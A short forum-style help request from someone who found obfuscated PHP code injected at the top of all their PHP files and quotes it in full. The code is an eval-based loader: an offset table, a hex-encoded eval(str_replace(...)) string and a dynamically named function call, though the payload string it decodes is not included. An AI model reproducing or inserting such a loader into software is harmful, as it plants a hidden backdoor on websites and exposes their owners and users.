Strange Code Appears

This strange code appears at the top of all php files:

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$iftkfdlqdv = explode(chr((132-88)),’4056,38,3697,39,6982,51,9005,24,7780,20,5493,28,2931,37,7683,29,10016,23,3523,58,9615,69,8765,58,8887,26,2010,69,8630,22,7800,49,455,49,7849,43,7503,43,4616,70,674,45,607,67,4363,35,5205,26,7546,67,2148,69,3961,33,374,26,37,41,3581,54,6345,27,2997,28,3025,63,7436,30,5545,40,5422,27,9122,29,3335,33,1478,61,2276,39,4150,22,8425,32,5917,39,5659,33,4916,38,8059,45,9051,26,9292,64,5585,37,3191,46,6283,62,5692,30,1386,40,2362,66,9684,44,7229,43,10039,67,7466,37,78,21,3424,55,8741,24,5449,44,1341,45,2652,34,9199,50,5521,24,6492,43,1628,62,8457,53,6372,27,8589,41,2615,37,3635,62,210,38,9411,34,4452,51,248,65,4094,21,9832,52,7272,20,1112,51,9488,43,2833,54,1451,27,9445,43,858,62,8965,40,6107,20,3368,56,1028,27,4115,35,9077,45,1963,47,1187,62,6769,50,8004,55,1899,64,1249,23,5123,50,7892,53,3479,44,5722,24,5622,37,9029,22,1163,24,8913,52,6399,52,5376,46,1878,21,5258,70,6683,41,3835,20,9151,48,8823,64,4686,70,504,59,8652,45,814,44,563,44,8697,44,2777,56,778,36,9961,55,8246,49,2887,44,9356,55,2079,69,7613,70,5746,26,4550,66,7292,69,5231,27,4503,47,2686,59,6184,68,5799,49,8510,27,2475,43,6127,57,6853,36,3088,58,946,34,9784,48,8394,31,4398,54,9568,25,5328,48,3736,46,1562,66,6889,68,3146,45,99,58,3782,53,1272,69,6724,45,1426,25,7361,21,5173,32,7945,59,313,61,2583,32,920,26,4034,22,2745,32,9884,49,8295,70,3237,38,9933,28,4295,68,400,55,2968,29,980,48,3994,40,6645,38,6535,45,2518,65,2217,59,9249,43,1690,65,7170,59,1539,23,8537,52,4233,62,3275,60,7382,54,3899,62,1055,57,5848,69,0,37,9593,22,4954,62,3855,44,5016,55,6580,65,4823,52,6819,34,5772,27,6957,25,7712,28,6063,44,1819,59,7100,70,7033,67,4875,41,7740,40,8365,29,6451,41,6252,31,157,53,719,59,8183,63,5071,52,9531,37,5956,44,4172,61,9728,56,6000,63,4756,67,1755,64,2428,47,2315,47,8104,64,8168,15′); $hdewhoedtd=substr($wmcrsxfzpg,(46862-36756),(34-27)); if (!function_exists(‘ncihqtopdi’)) { function ncihqtopdi($mtyzlkevow, $phckeccsdn) { $imnvhqynap = NULL; for($azzusabfft=0;$azzusabfft<(sizeof($mtyzlkevow)/2);$azzusabfft++) { $imnvhqynap .= substr($phckeccsdn, $mtyzlkevow[($azzusabfft*2)],$mtyzlkevow[($azzusabfft*2)+1]); } return $imnvhqynap; };} $dronesobcw=”\x20\57\x2a\40\x7a\147\x70\166\x6a\150\x65\160\x6c\152\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x38\55\x31\64\x31\51\x29\54\x20\143\x68\162\x28\50\x35\63\x34\55\x34\64\x32\51\x29\54\x20\156\x63\151\x68\161\x74\157\x70\144\x69\50\x24\151\x66\164\x6b\146\x64\154\x71\144\x76\54\x24\167\x6d\143\x72\163\x78\146\x7a\160\x67\51\x29\51\x3b\40\x2f\52\x20\145\x77\163\x73\155\x72\143\x75\161\x79\40\x2a\57\x20”; $svddztchiu=substr($wmcrsxfzpg,(30952-20839),(75-63)); $svddztchiu($hdewhoedtd, $dronesobcw, NULL); $svddztchiu=$dronesobcw; $svddztchiu=(482-361); $wmcrsxfzpg=$svddztchiu-1; ?>

any idea what it is or where it could come from?